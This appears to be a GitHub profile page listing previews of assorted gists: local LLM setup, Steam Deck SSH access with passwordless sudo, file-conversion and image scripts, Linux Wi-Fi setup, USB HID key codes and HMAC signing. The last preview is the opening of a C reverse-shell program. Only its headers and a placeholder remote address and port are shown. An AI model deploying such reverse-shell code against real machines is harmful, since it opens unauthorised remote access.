Skip to content

Instantly share code, notes, and snippets.

View senventise's full-sized avatar

Senventise senventise

View GitHub Profile
@rain-1
rain-1 / llama-home.md
Last active June 24, 2025 11:12
How to run Llama 13B with a 6GB graphics card

This worked on 14/May/23. The instructions will probably require updating in the future.

llama is a text prediction model similar to GPT-2, and the version of GPT-3 that has not been fine tuned yet. It is also possible to run fine tuned versions (like alpaca or vicuna with this. I think. Those versions are more focused on answering questions)

Note: I have been told that this does not support multiple GPUs. It can only use a single GPU.

It is possible to run LLama 13B with a 6GB graphics card now! (e.g. a RTX 2060). Thanks to the amazing work involved in llama.cpp. The latest change is CUDA/cuBLAS which allows you pick an arbitrary number of the transformer layers to be run on the GPU. This is perfect for low VRAM.

  • Clone llama.cpp from git, I am on commit 08737ef720f0510c7ec2aa84d7f70c691073c35d.
@andygeorge
andygeorge / steamdeck_ssh_instructions.md
Last active September 5, 2025 17:21
Steam Deck `ssh` instructions

These are manual instructions on enabling SSH access on your Steam Deck, adding public key authentication, and removing the need for a sudo password for the main user (deck).

This gist assumes the following:

  • you have a Steam Deck
  • you have a home PC with access to a Linux shell that can ssh, ssh-keygen, and ssh-copy-id
  • your Steam Deck and home PC are on the same local network, with standard SSH traffic (tcp/22) allowed over that network from the PC to the Steam Deck

NOTE: @crackelf on reddit mentions that steamOS updates blow away everything other than /home, which may have the following effects:

  • removing the systemd config for sshd.service, which would prevent the service from automatically starting on boot
  • removing the sudoers.d config, which would reenable passwords for sudo
@feihong
feihong / convert-epub-to-cbz.py
Created December 25, 2021 20:52
Convert kepub.epub file to cbz
from pathlib import Path
import zipfile
import sys
import xml.etree.ElementTree
from typing import List
if len(sys.argv) < 2:
print('Please provide directory')
sys.exit(0)
else:
@probonopd
probonopd / Wayland.md
Last active December 9, 2025 00:16
Think twice about Wayland. It breaks everything!

Think twice before abandoning X11. Wayland breaks everything!

Wayland breaks everything! It is binary incompatible, provides no clear transition path with 1:1 replacements for everything in X11, and is even philosophically incompatible with X11. Hence, if you are interested in existing applications to "just work" without the need for adjustments, then you may be better off avoiding Wayland.

Wayland solves no issues I have but breaks almost everything I need. Even the most basic, most simple things (like xkill) - in this case with no obvious replacement. And usually it stays broken, because the Wayland folks mostly seem to care about Automotive, Gnome, maybe KDE - and alienating everyone else (e.g., people using just an X11 window manager or something like GNUstep) in the process.

Feature comparison

@alemures
alemures / wireless-n-2230-debian-setup.md
Last active December 23, 2023 09:47
Intel Wireless-N 2230 debian setup

Check wireless hardware: sudo lspci -kv

For hardware Intel Corporation Centrino Wireless-N 2230, a non-free package is needed so, add to /etc/apt/sources.list deb http://httpredir.debian.org/debian/ stretch main contrib non-free

$ sudo apt update
$ sudo apt upgrade
$ sudo apt install firmware-iwlwifi
@alimxk
alimxk / StarTrails
Created January 5, 2018 01:30
Combine multiple images into one for star trail effect
#!/bin/bash
cp G0000001.JPG /tmp/Night.JPG
for f in `ls *.JPG`
do
echo $f
convert /tmp/Night.JPG $f -gravity center -compose lighten -composite -format jpg /tmp/Night.JPG
done
@momo0v0
momo0v0 / _m.weibo.cn.md
Last active March 22, 2023 17:51
m.weibo.cn API
@MightyPork
MightyPork / usb_hid_keys.h
Last active November 6, 2025 19:03
USB HID Keyboard scan codes
/**
* USB HID Keyboard scan codes as per USB spec 1.11
* plus some additional codes
*
* Created by MightyPork, 2016
* Public domain
*
* Adapted from:
* https://source.android.com/devices/input/keyboard-devices.html
*/
@heskyji
heskyji / hmac_sha1.py
Created September 17, 2015 01:08
Generate HMAC-SHA1 Signature using Python 3
import hashlib
import hmac
import base64
def make_digest(message, key):
key = bytes(key, 'UTF-8')
message = bytes(message, 'UTF-8')
@0xabe-io
0xabe-io / reverse_shell.c
Created January 6, 2015 15:24
Simple C code to create a reverse shell
/* credits to http://blog.techorganic.com/2015/01/04/pegasus-hacking-challenge/ */
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#define REMOTE_ADDR "XXX.XXX.XXX.XXX"
#define REMOTE_PORT XXX